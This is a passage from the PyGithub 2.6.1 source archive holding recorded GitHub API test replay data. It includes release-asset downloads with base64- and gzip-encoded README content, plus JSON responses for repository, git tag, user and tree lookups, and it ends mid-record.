/github-production-release-asset-2e65be/446365735/eae43c8b-293d-4fb1-b84c-734756819b27?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250130%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250130T122126Z&X-Amz-Expires=300&X-Amz-Signature=d873e75eb478a9e5e9c21975f40f7616c6f07803deae1a05c72cb00be37fb081&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dasset1.md&response-content-type=application%2Foctet-stream {'Accept': 'application/octet-stream', 'User-Agent': 'PyGithub/Python'} None 200 [('Connection', 'keep-alive'), ('Content-Length', '2524'), ('Content-Type', 'application/octet-stream'), ('Last-Modified', 'Thu, 30 Jan 2025 11:11:33 GMT'), ('ETag', '"0x8DD411EDB0E39C3"'), ('Server', 'Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0'), ('x-ms-request-id', '64fa4512-201e-0070-1b08-7358a2000000'), ('x-ms-version', '2025-01-05'), ('x-ms-creation-time', 'Thu, 30 Jan 2025 11:11:33 GMT'), ('x-ms-blob-content-md5', '0CEYVYQcHfnGxCWG82h1Yw=='), ('x-ms-lease-status', 'unlocked'), ('x-ms-lease-state', 'available'), ('x-ms-blob-type', 'BlockBlob'), ('Content-Disposition', 'attachment; filename=asset1.md'), ('x-ms-server-encrypted', 'true'), ('Via', '1.1 varnish, 1.1 varnish'), ('Fastly-Restarts', '1'), ('Accept-Ranges', 'bytes'), ('Date', 'Thu, 30 Jan 2025 12:21:27 GMT'), ('Age', '2'), ('X-Served-By', 'cache-iad-kcgs7200088-IAD, cache-ams2100086-AMS'), ('X-Cache', 'MISS, HIT'), ('X-Cache-Hits', '0, 1'), ('X-Timer', 'S1738239687.932711,VS0,VE1')] IyBQeUdpdEh1YgoKWyFbUHlQSV0oaHR0cHM6Ly9pbWcuc2hpZWxkcy5pby9weXBpL3YvUHlHaXRodWIuc3ZnKQ== XShodHRwczovL3B5cGkucHl0aG9uLm9yZy9weXBpL1B5R2l0aHViKQohW0NJXShodHRwczovL2dpdGh1Yi5jbw== bS9QeUdpdGh1Yi9QeUdpdGh1Yi93b3JrZmxvd3MvQ0kvYmFkZ2Uuc3ZnKQpbIVtyZWFkdGhlZG9jc10oaHR0cA== czovL2ltZy5zaGllbGRzLmlvL2JhZGdlL2RvY3Mtc3RhYmxlLWJyaWdodGdyZWVuLnN2Zz9zdHlsZT1mbGF0KQ== XShodHRwczovL3B5Z2l0aHViLnJlYWR0aGVkb2NzLmlvL2VuL3N0YWJsZS8/YmFkZ2U9c3RhYmxlKQpbIVtMaQ== Y2Vuc2VdKGh0dHBzOi8vaW1nLnNoaWVsZHMuaW8vYmFkZ2UvbGljZW5zZS1MR1BMLWJsdWUuc3ZnKV0oaHR0cA== czovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9HTlVfTGVzc2VyX0dlbmVyYWxfUHVibGljX0xpY2Vuc2UpClshWw== U2xhY2tdKGh0dHBzOi8vaW1nLnNoaWVsZHMuaW8vYmFkZ2UvU2xhY2slMjBjaGFubmVsLSUyMCUyMC1ibHVlLg== c3ZnKV0oaHR0cHM6Ly9qb2luLnNsYWNrLmNvbS90L3B5Z2l0aHViLXByb2plY3Qvc2hhcmVkX2ludml0ZS96dA== LWR1ajg5eHR4LXVLRlp0Z0FnMjA5bzZWd2VxbTh4ZVEpClshW09wZW4gU291cmNlIEhlbHBlcnNdKGh0dHBzOg== Ly93d3cuY29kZXRyaWFnZS5jb20vcHlnaXRodWIvcHlnaXRodWIvYmFkZ2VzL3VzZXJzLnN2ZyldKGh0dHBzOg== Ly93d3cuY29kZXRyaWFnZS5jb20vcHlnaXRodWIvcHlnaXRodWIpClshW2NvZGVjb3ZdKGh0dHBzOi8vY29kZQ== Y292LmlvL2doL1B5R2l0aHViL1B5R2l0aHViL2JyYW5jaC9tYXN0ZXIvZ3JhcGgvYmFkZ2Uuc3ZnKV0oaHR0cA== czovL2NvZGVjb3YuaW8vZ2gvUHlHaXRodWIvUHlHaXRodWIpClshW0NvZGUgc3R5bGU6IGJsYWNrXShodHRwcw== Oi8vaW1nLnNoaWVsZHMuaW8vYmFkZ2UvY29kZSUyMHN0eWxlLWJsYWNrLTAwMDAwMC5zdmcpXShodHRwczovLw== Z2l0aHViLmNvbS9wc2YvYmxhY2spCgpQeUdpdEh1YiBpcyBhIFB5dGhvbiBsaWJyYXJ5IHRvIGFjY2VzcyB0aA== ZSBbR2l0SHViIFJFU1QgQVBJXS4KVGhpcyBsaWJyYXJ5IGVuYWJsZXMgeW91IHRvIG1hbmFnZSBbR2l0SHViXQ== IHJlc291cmNlcyBzdWNoIGFzIHJlcG9zaXRvcmllcywgdXNlciBwcm9maWxlcywgYW5kIG9yZ2FuaXphdGlvbg== cyBpbiB5b3VyIFB5dGhvbiBhcHBsaWNhdGlvbnMuCgpbR2l0SHViIFJFU1QgQVBJXTogaHR0cHM6Ly9kb2NzLg== Z2l0aHViLmNvbS9lbi9yZXN0CltHaXRIdWJdOiBodHRwczovL2dpdGh1Yi5jb20KCiMjIEluc3RhbGwKCmBgYA== YmFzaApwaXAgaW5zdGFsbCBQeUdpdGh1YgpgYGAKCiMjIFNpbXBsZSBEZW1vCgpgYGBweXRob24KZnJvbSBnaQ== dGh1YiBpbXBvcnQgR2l0aHViCgojIEF1dGhlbnRpY2F0aW9uIGlzIGRlZmluZWQgdmlhIGdpdGh1Yi5BdXRoCg== ZnJvbSBnaXRodWIgaW1wb3J0IEF1dGgKCiMgdXNpbmcgYW4gYWNjZXNzIHRva2VuCmF1dGggPSBBdXRoLlRvaw== ZW4oImFjY2Vzc190b2tlbiIpCgojIEZpcnN0IGNyZWF0ZSBhIEdpdGh1YiBpbnN0YW5jZToKCiMgUHVibGljIA== V2ViIEdpdGh1YgpnID0gR2l0aHViKGF1dGg9YXV0aCkKCiMgR2l0aHViIEVudGVycHJpc2Ugd2l0aCBjdXN0bw== bSBob3N0bmFtZQpnID0gR2l0aHViKGJhc2VfdXJsPSJodHRwczovL3tob3N0bmFtZX0vYXBpL3YzIiwgYXV0aA== PWF1dGgpCgojIFRoZW4gcGxheSB3aXRoIHlvdXIgR2l0aHViIG9iamVjdHM6CmZvciByZXBvIGluIGcuZ2V0Xw== dXNlcigpLmdldF9yZXBvcygpOgogICAgcHJpbnQocmVwby5uYW1lKQoKIyBUbyBjbG9zZSBjb25uZWN0aW9ucw== IGFmdGVyIHVzZQpnLmNsb3NlKCkKYGBgCgojIyBEb2N1bWVudGF0aW9uCgpNb3JlIGluZm9ybWF0aW9uIGNhbg== IGJlIGZvdW5kIG9uIHRoZSBbUHlHaXRIdWIgZG9jdW1lbnRhdGlvbiBzaXRlLl0oaHR0cHM6Ly9weWdpdGh1Yg== LnJlYWR0aGVkb2NzLmlvL2VuL3N0YWJsZS9pbnRyb2R1Y3Rpb24uaHRtbCkKCiMjIERldmVsb3BtZW50CgojIw== IyBDb250cmlidXRpbmcKCkxvbmctdGVybSBkaXNjdXNzaW9uIGFuZCBidWcgcmVwb3J0cyBhcmUgbWFpbnRhaQ== bmVkIHZpYSBHaXRIdWIgSXNzdWVzLgpDb2RlIHJldmlldyBpcyBkb25lIHZpYSBHaXRIdWIgUHVsbCBSZXF1ZQ== c3RzLgoKRm9yIG1vcmUgaW5mb3JtYXRpb24gcmVhZCBbQ09OVFJJQlVUSU5HLm1kXS4KCltDT05UUklCVVRJTg== Ry5tZF06IGh0dHBzOi8vZ2l0aHViLmNvbS9QeUdpdGh1Yi9QeUdpdGh1Yi9ibG9iL21haW4vQ09OVFJJQlVUSQ== TkcubWQKCiMjIyBNYWludGFpbmVyc2hpcAoKV2UncmUgYWN0aXZlbHkgc2Vla2luZyBtYWludGFpbmVycyB0aA== YXQgd2lsbCB0cmlhZ2UgaXNzdWVzIGFuZCBwdWxsIHJlcXVlc3RzIGFuZCBjdXQgcmVsZWFzZXMuCklmIHlvdQ== IHdvcmsgb24gYSBwcm9qZWN0IHRoYXQgbGV2ZXJhZ2VzIFB5R2l0SHViIGFuZCBoYXZlIGEgdmVzdGVkIGludA== ZXJlc3QgaW4ga2VlcGluZyB0aGUgY29kZSBhbGl2ZSBhbmQgd2VsbCwgc2VuZCBhbiBlbWFpbCB0byBzb21lbw== bmUgaW4gdGhlIE1BSU5UQUlORVJTIGZpbGUuCg== https GET api.github.com None /repos/EnricoMi/PyGithub/releases/assets/224868556 {'Accept': 'application/octet-stream', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 302 [('Date', 'Thu, 30 Jan 2025 12:21:27 GMT'), ('Content-Type', 'text/html;charset=utf-8'), ('Content-Length', '0'), ('Location', 'https://objects.githubusercontent.com/github-production-release-asset-2e65be/446365735/fe97f261-2422-4ee7-b080-b41991c18d74?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250130%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250130T122127Z&X-Amz-Expires=300&X-Amz-Signature=3b02fdcac6556ad0069cf0ca74bd7ad69a98e267f947d8872f064f267673b923&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dasset2.gz&response-content-type=application%2Foctet-stream'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4994'), ('X-RateLimit-Reset', '1738243279'), ('X-RateLimit-Used', '6'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'D898:26EC3A:17BB424:186DF2F:679B6EC7')] https GET objects.githubusercontent.com None /github-production-release-asset-2e65be/446365735/fe97f261-2422-4ee7-b080-b41991c18d74?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250130%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250130T122127Z&X-Amz-Expires=300&X-Amz-Signature=3b02fdcac6556ad0069cf0ca74bd7ad69a98e267f947d8872f064f267673b923&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dasset2.gz&response-content-type=application%2Foctet-stream {'Accept': 'application/octet-stream', 'User-Agent': 'PyGithub/Python'} None 200 [('Connection', 'keep-alive'), ('Content-Length', '1199'), ('Content-Type', 'application/octet-stream'), ('Last-Modified', 'Thu, 30 Jan 2025 11:11:37 GMT'), ('ETag', '"0x8DD411EDD6F45C4"'), ('Server', 'Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0'), ('x-ms-request-id', '3d1464c0-a01e-0023-7a09-737b96000000'), ('x-ms-version', '2025-01-05'), ('x-ms-creation-time', 'Thu, 30 Jan 2025 11:11:37 GMT'), ('x-ms-blob-content-md5', 'RttfZbsGgE9+IX1ifB7xdQ=='), ('x-ms-lease-status', 'unlocked'), ('x-ms-lease-state', 'available'), ('x-ms-blob-type', 'BlockBlob'), ('Content-Disposition', 'attachment; filename=asset2.gz'), ('x-ms-server-encrypted', 'true'), ('Via', '1.1 varnish, 1.1 varnish'), ('Fastly-Restarts', '1'), ('Accept-Ranges', 'bytes'), ('Date', 'Thu, 30 Jan 2025 12:21:27 GMT'), ('Age', '3472'), ('X-Served-By', 'cache-iad-kcgs7200038-IAD, cache-ams2100094-AMS'), ('X-Cache', 'MISS, HIT'), ('X-Cache-Hits', '0, 1'), ('X-Timer', 'S1738239688.549926,VS0,VE1')] H4sICPWaYWcAA1JFQURNRS5tZACVVmFv2zYQ/c5fwSYYZgO1FHTA0BoIiixNXGNJ6iXuCiwIHEo6S4wpUiUpOw== 7rD/vjtKsl3DQzMjMSjy3d27u3eUj/lkPZL+Y50wdv/qfrKejB96hfeVG8axLPPIFRJU5iJp4mpdyXgZB4OiTg== IrfM+1swnUbV2hdGR8bmDbrD9tmr+/Mdz3njITXlBrJdrIxdzJVZufh8HCciyyGEIn4WROYLyEzq/pNmsIgJMg== cF4kCgaJlXnhcwugydN759cKTudK+O/4t6R2YpA70HHjJn4fPJ82T4HOlUxBO/gBFdWgBlejydUgUTXsVQ5ZrQ== 5EJWkEkRSkdP8ejm8+wKnAM7G4EGK9RsUifoa9ZGDQzulEgXP4gfMD+9OUkLoTWoAS7x7xCTJyOxQgQPrfGbog== DCprniD1sSuEhWwm9VJ6iL/5QVY/vX337J8H9e+Xf/n8LH9z8s78+ucKvpZvn+GPQPJTBZrfmdqmwD+CqsDudA== b7VaYbAMvJUCO01xu6jbRUjExTVWw+1xfol9YEGg1Cy3lu0GFSovDugwsUKnRVwK58HGuRVVsSPHF/sJwc8Rww== g+6GPHlBz8gnNilYDILB4CR89mLvDFLl5nFA9hnrhppLxwWOOE0lVxIzsmvuDRdpitLiKHN+3yJvL+6m/AzHPw== YtMCzTo0aJK742tTk2UpNJa5s3rgFlxorOOuTgsuHO5UxklvrAT3mlPLOKpnLhU9Cp1xlLjQ8pvw0mjHpSbXtg== IymqCjXenEV4J+2zG/Iu9TCgO/njoCIZ35nsILcgxo6P+VjjCCvF2OPjYyJcwSpZIY2wybuu0WFA38myUsA/QA== aYJFc8WxuTUlbxxzRBjreWvIjvlZjZXVvs2DmpDBXGrI+FKK1ioi0CE3YR+d1E7qHAu2aZZZgGYCT/lpAEVT2g== 6R0157NwftQn00tpnecp3mQesP+j1j+lqFMYEqS5S/gXSDreObptlj0KckpfwVtrfqFxDCorHfAV7vC0dh7JFw== xnktSti1x6rCrLbq9Khrwd8d7J9Y0FvklyPUwndRplgxXimxbrwHTbSRTUJ3jxuyubFBXiSaPMrBz0hevX5YBg== 3fX6Q8bxgzy179FWRFGbCIanyiD91OA9mDbyE3PMilTK8iic9vqb1n8waV1iH0MXGbs2FjAykiibvqbYnAT43A== 1KRq3YzTZvSyXWuOEwHR/3nbIH9rsjrQjApfqn7DCZagTEWO6fmYnxsEyqT2qBbGrozOB5hRyTPpsEOOYtPQJQ== dR5KZz3mjHmUAgOIjSZbzmPnasC5C9eVhaWEVVCv0bALm9Q4KbfwFbGepvQS+1LuV4cy4/fnn26mt+PfPk/HNw== o6jMHmim9/cOTeqh+1iZJCbe8Z6DphDXXUYWb9OKsS/wMzISWECs2Jo7gAUNVLmFYcOER7lhMs3bA3Ol/EPBKg== ytG2OYadtPa4oQDFjUmP5+FKpB8r1HvB21dk41Rhmyx6dJvfV8FFIZY0kEv0iYWXNFG4JDkvACqiRxqiy58LJQ== CYtGK1DqNfLHJQoOMAFFN7EzJVBfZCO867PxzRT/L27vOF22EfsXoc0EItwJAAA= ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitTag.setUp.txt0000644000175100001660000002573214756101563021206 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 17:42:27 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7ddd68f13afe8eeaf9dcb59f56bfaf84452294213a374c9d39d3388e27e40945"'), ('Last-Modified', 'Fri, 03 Jan 2025 17:37:03 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4994'), ('X-RateLimit-Reset', '1735927338'), ('X-RateLimit-Used', '6'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '9FCC:4E297:231F65DB:24010A9F:67782183')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-03T17:37:03Z","pushed_at":"2024-12-19T12:01:11Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16425,"stargazers_count":7116,"watchers_count":7116,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":356,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":356,"watchers":7116,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":false,"allow_auto_merge":false,"delete_branch_on_merge":true,"allow_update_branch":true,"use_squash_pr_title_as_default":true,"squash_merge_commit_message":"PR_BODY","squash_merge_commit_title":"PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"enabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1793,"subscribers_count":111} https GET api.github.com None /repos/PyGithub/PyGithub/git/tags/f5f37322407b02a80de4526ad88d5f188977bc3c {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 17:42:28 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"bda3c5e7b017934168062d37bc3ba72f7a06e77283f4a2181e1215e83f6fbbc7"'), ('Last-Modified', 'Fri, 03 Jan 2025 17:37:03 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1735927338'), ('X-RateLimit-Used', '7'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '9FD2:59502:212EE8ED:22108D9E:67782183')] {"node_id":"MDM6VGFnMzU0NDQ5MDpmNWYzNzMyMjQwN2IwMmE4MGRlNDUyNmFkODhkNWYxODg5NzdiYzNj","sha":"f5f37322407b02a80de4526ad88d5f188977bc3c","url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags/f5f37322407b02a80de4526ad88d5f188977bc3c","tagger":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2012-05-10T18:14:15Z"},"object":{"sha":"4303c5b90e2216d927155e9609436ccb8984c495","type":"commit","url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/4303c5b90e2216d927155e9609436ccb8984c495"},"tag":"v0.6","message":"Version 0.6\n","verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null,"verified_at":null}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitTree.setUp.txt0000644000175100001660000001345414756101563021370 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4983'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"87bbafa72e82fd0e23eca263d0939cbc"'), ('date', 'Thu, 10 May 2012 19:03:05 GMT'), ('content-type', 'application/json; charset=utf-8')] {"html_url":"https://github.com/jacquev6","type":"User","hireable":false,"url":"https://api.github.com/users/jacquev6","disk_usage":16676,"plan":{"private_repos":5,"collaborators":1,"space":614400,"name":"micro"},"bio":"","public_gists":1,"total_private_repos":5,"login":"jacquev6","private_gists":5,"email":"vincent@vincent-jacques.net","owned_private_repos":5,"public_repos":10,"collaborators":0,"created_at":"2010-07-09T06:10:06Z","company":"Criteo","location":"Paris, France","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","followers":13,"following":24,"name":"Vincent Jacques","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"blog":"http://vincent-jacques.net"} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4982'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"80c85d7120a6d887a451a951adbfbe8e"'), ('date', 'Thu, 10 May 2012 19:03:08 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-10T18:49:21Z","html_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"homepage":"http://vincent-jacques.net/PyGithub","forks":2,"git_url":"git://github.com/jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","url":"https://api.github.com/repos/jacquev6/PyGithub","pushed_at":"2012-05-10T18:49:21Z","language":"Python","size":196,"private":false,"clone_url":"https://github.com/jacquev6/PyGithub.git","created_at":"2012-02-25T12:53:47Z","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","mirror_url":null,"has_downloads":true,"watchers":13,"description":"Python library implementing the full Github API v3","id":3544490,"permissions":{"admin":true,"pull":true,"push":true}} https GET api.github.com None /repos/jacquev6/PyGithub/git/trees/f492784d8ca837779650d1fb406a1a3587a764ad {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4981'), ('content-length', '2588'), ('server', 